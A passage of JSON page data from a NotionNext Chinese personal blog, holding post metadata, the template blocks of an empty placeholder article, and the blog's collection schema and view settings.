:"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"post":{"id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-3","tags":["新闻","推荐"],"summary":"仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容。","title":"EMPTY-ARTICLE-3","status":"Invisible","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-19T02:19:55.364Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1542907299-8bd21f11f540?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=47aba706-2cde-4eef-9fb8-0cdd0f7805c9","pageCoverThumbnail":"https://images.unsplash.com/photo-1542907299-8bd21f11f540?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=47aba706-2cde-4eef-9fb8-0cdd0f7805c9&width=800&fmt=webp","tagItems":[{"name":"新闻","color":"orange"},{"name":"推荐","color":"red"}],"password":"","blockMap":{"block":{"47aba706-2cde-4eef-9fb8-0cdd0f7805c9":{"value":{"id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","version":7,"type":"page","content":["4f888598-436f-45ae-8798-cc8ab24c09c9","b695537b-33d7-4ddd-a1e0-44bf5b40f53f","c9343f3d-dc2f-4af9-8a25-0ad7c208ba60","45def727-02f6-4deb-83a9-69b7b266ee4d","6316fbc9-d6ed-4f69-af61-a4d2259d9111","4009c235-486f-46e0-853a-fe8181429f05","bf80f998-7dbb-4ecb-8327-baa30c18b6d1","8459ea2c-edbe-4726-a8a7-3ee8c80a3b94","4f1a0b85-c149-433d-b3c9-b7f926541529","4af440a2-cb6b-448c-8e5c-346fa88279c7","c76d05b0-646b-494b-92ea-d9136d82500e","08164ae5-c0d9-48b8-a7ec-a27b3cfa0fd1","13404196-5553-4065-89fd-844340054d07","39ceea91-795b-42c2-b94d-0f61dd710407","66839f7d-30bf-4925-89d5-b88afac3db8c"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://images.unsplash.com/photo-1542907299-8bd21f11f540?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"5673a15c-db7e-459c-ba9c-bf199bf47d61","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.5},"created_time":1705594337111,"last_edited_time":1705630795364,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"5673a15c-db7e-459c-ba9c-bf199bf47d61","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6","e027b6fc-d75a-43a9-92b1-d5872e5b0780","1fc93bf5-4631-4f85-90f5-362d6a9f69d5","4a3f60f2-b147-4303-b805-e3c775b287a5","c456b9e9-f33f-4c0f-a198-5e90d708c5e4","95d5d8be-c6d5-44e4-a06c-bbb8b5532918"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1733470638099,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"4f888598-436f-45ae-8798-cc8ab24c09c9":{"value":{"id":"4f888598-436f-45ae-8798-cc8ab24c09c9","type":"text","format":{"copied_from_pointer":{"id":"a758c06e-58d4-4c41-9edb-9b382d6bfbd2","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337122,"last_edited_time":1705594337122,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"a758c06e-58d4-4c41-9edb-9b382d6bfbd2"}},"b695537b-33d7-4ddd-a1e0-44bf5b40f53f":{"value":{"id":"b695537b-33d7-4ddd-a1e0-44bf5b40f53f","type":"callout","properties":{"title":[["这里写文章的前言:\n一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。"]]},"content":["7ea9d2f5-d18c-4b1c-b32e-6875e9feb71d"],"format":{"page_icon":"😀","block_color":"gray_background","copied_from_pointer":{"id":"6a2e864c-2508-464c-9afe-118d1e557294","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337122,"last_edited_time":1705594337122,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"6a2e864c-2508-464c-9afe-118d1e557294"}},"c9343f3d-dc2f-4af9-8a25-0ad7c208ba60":{"value":{"id":"c9343f3d-dc2f-4af9-8a25-0ad7c208ba60","type":"text","format":{"copied_from_pointer":{"id":"eb6f2991-c619-4351-8886-c158f8d72ca5","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337122,"last_edited_time":1705594337122,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"eb6f2991-c619-4351-8886-c158f8d72ca5"}},"45def727-02f6-4deb-83a9-69b7b266ee4d":{"value":{"id":"45def727-02f6-4deb-83a9-69b7b266ee4d","type":"header","properties":{"title":[["📝 主旨内容"]]},"format":{"copied_from_pointer":{"id":"b7341d91-76b8-46b5-825a-de5f585d4b99","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337122,"last_edited_time":1705594337122,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"b7341d91-76b8-46b5-825a-de5f585d4b99"}},"6316fbc9-d6ed-4f69-af61-a4d2259d9111":{"value":{"id":"6316fbc9-d6ed-4f69-af61-a4d2259d9111","type":"sub_header","properties":{"title":[["观点1"]]},"format":{"copied_from_pointer":{"id":"64a86efd-2caa-4ca0-ba43-ed852b132802","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337121,"last_edited_time":1705594337121,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"64a86efd-2caa-4ca0-ba43-ed852b132802"}},"4009c235-486f-46e0-853a-fe8181429f05":{"value":{"id":"4009c235-486f-46e0-853a-fe8181429f05","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"7e1007d7-d850-4848-a758-1727cf2e6066","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337122,"last_edited_time":1705594337122,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"7e1007d7-d850-4848-a758-1727cf2e6066"}},"bf80f998-7dbb-4ecb-8327-baa30c18b6d1":{"value":{"id":"bf80f998-7dbb-4ecb-8327-baa30c18b6d1","type":"sub_header","properties":{"title":[["观点2"]]},"format":{"copied_from_pointer":{"id":"cc2647bd-d705-4c34-b5fa-84eb1b34e7af","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337122,"last_edited_time":1705594337122,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"cc2647bd-d705-4c34-b5fa-84eb1b34e7af"}},"8459ea2c-edbe-4726-a8a7-3ee8c80a3b94":{"value":{"id":"8459ea2c-edbe-4726-a8a7-3ee8c80a3b94","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"4c6b1fd0-99bb-4394-b7c8-55b4f82c7564","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337121,"last_edited_time":1705594337121,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"4c6b1fd0-99bb-4394-b7c8-55b4f82c7564"}},"4f1a0b85-c149-433d-b3c9-b7f926541529":{"value":{"id":"4f1a0b85-c149-433d-b3c9-b7f926541529","type":"header","properties":{"title":[["🤗 总结归纳"]]},"format":{"copied_from_pointer":{"id":"b1cb1aa0-4990-4882-a640-50ff4d1c0610","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337122,"last_edited_time":1705594337122,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"b1cb1aa0-4990-4882-a640-50ff4d1c0610"}},"4af440a2-cb6b-448c-8e5c-346fa88279c7":{"value":{"id":"4af440a2-cb6b-448c-8e5c-346fa88279c7","type":"text","properties":{"title":[["总结文章的内容"]]},"format":{"copied_from_pointer":{"id":"7b99ddd6-3cf4-4ff2-97e6-24819200de4d","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337122,"last_edited_time":1705594337122,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"7b99ddd6-3cf4-4ff2-97e6-24819200de4d"}},"c76d05b0-646b-494b-92ea-d9136d82500e":{"value":{"id":"c76d05b0-646b-494b-92ea-d9136d82500e","type":"header","properties":{"title":[["📎 参考文章"]]},"format":{"copied_from_pointer":{"id":"fbb5211a-e7ea-4eef-8ea6-184451e6ca5e","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337123,"last_edited_time":1705594337123,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"fbb5211a-e7ea-4eef-8ea6-184451e6ca5e"}},"08164ae5-c0d9-48b8-a7ec-a27b3cfa0fd1":{"value":{"id":"08164ae5-c0d9-48b8-a7ec-a27b3cfa0fd1","type":"bulleted_list","properties":{"title":[["一些引用"]]},"format":{"copied_from_pointer":{"id":"68e507f5-3618-496f-b9cd-d47ee8b8e356","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337122,"last_edited_time":1705594337122,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"68e507f5-3618-496f-b9cd-d47ee8b8e356"}},"13404196-5553-4065-89fd-844340054d07":{"value":{"id":"13404196-5553-4065-89fd-844340054d07","type":"bulleted_list","properties":{"title":[["引用文章"]]},"format":{"copied_from_pointer":{"id":"a9118aeb-349d-474e-a4ff-ff3190383328","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337122,"last_edited_time":1705594337122,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"a9118aeb-349d-474e-a4ff-ff3190383328"}},"39ceea91-795b-42c2-b94d-0f61dd710407":{"value":{"id":"39ceea91-795b-42c2-b94d-0f61dd710407","type":"text","format":{"copied_from_pointer":{"id":"a58c8f9b-995f-406d-bdc8-ed2dab45a598","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337122,"last_edited_time":1705594337122,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"a58c8f9b-995f-406d-bdc8-ed2dab45a598"}},"66839f7d-30bf-4925-89d5-b88afac3db8c":{"value":{"id":"66839f7d-30bf-4925-89d5-b88afac3db8c","type":"callout","properties":{"title":[["有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~"]]},"format":{"page_icon":"💡","block_color":"gray_background","copied_from_pointer":{"id":"a6c9899f-912f-4400-adbc-a8f49228e160","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337122,"last_edited_time":1705594337122,"parent_id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","parent_table":"block","alive":true,"copied_from":"a6c9899f-912f-4400-adbc-a8f49228e160"}},"7ea9d2f5-d18c-4b1c-b32e-6875e9feb71d":{"value":{"id":"7ea9d2f5-d18c-4b1c-b32e-6875e9feb71d","type":"text","properties":{"title":[["可以说说你的故事:阻碍、努力、结果成果,意外与转折。"]]},"format":{"copied_from_pointer":{"id":"f5b83eb8-1f73-40fb-a48d-c25d1bde99ed","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337154,"last_edited_time":1705594337154,"parent_id":"b695537b-33d7-4ddd-a1e0-44bf5b40f53f","parent_table":"block","alive":true,"copied_from":"f5b83eb8-1f73-40fb-a48d-c25d1bde99ed"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":22,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"},{"id":"c466d345-55bf-4155-a77e-fcd58819a455","color":"brown","value":"准备"},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","color":"green","value":"万里长征"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","color":"gray","value":"运维"},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","color":"orange","value":"linux"},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","color":"orange","value":"脚本"},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","color":"yellow","value":"面试"},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","color":"gray","value":"go"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1","fbea6284-6910-456b-9292-c62e080c9f59"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{"eb3e1328-8f32-4ff5-8d18-8ea80020e175":{"role":"none"}},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":53,"type":"table","name":"Table","format":{"table_properties":[{"width":295,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","33fa284f-0c06-4f26-9ca3-be25469051c4","e267a30e-29c7-47df-8dc2-cbba50b01443","5bc86ceb-2501-4ba3-a7f9-588407e6d47a","154f5010-17f2-8079-beb8-c6a44f0aa69c","153f5010-17f2-8037-8e89-ecfcb9d24a89","b7f50367-a6df-4492-a459-4baef5b1e4c3","a741252c-e46b-4342-998c-58ebc362fc0d","df1cfd49-4665-4429-a601-d6e8d57f2a50","6f317036-a205-45d7-98ce-c95a34ca3000","2187a0b2-05d0-4661-906d-3f47acc5b022","023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","ac8b0aec-6e91-49e0-b6c0-806e97729436","fdb70c2f-29b1-4635-bb36-fc826bad8fbd","2caa6a98-fd82-4de7-838f-e08dfe6649ab","146219e7-c178-4485-b223-22f4b977333c","71879fde-4992-4276-9767-ac5bd71e4058","9a78ba09-76ce-4344-bad5-f6d60dc0680e","63830328-e0f0-477a-b327-bc4ab921f89c","4d955058-b605-46cf-b242-1535b732af30","9a11ddf0-58ae-4450-8583-5ba3e2108e0a","1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","3505b511-076b-47a7-aa1a-95e702c54e6b","463a3c80-4e43-42d9-b436-1299d00df6b2","11d73154-336e-4e5a-8e92-8a8b36b2bc92","df0db62b-d0ed-47f0-b5be-445bfef1f6af","3fb907b8-6154-452a-94f7-a018ba092632","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":2,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"property":"bB{M"},{"value":{"type":"select","value":"面试准备"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"prop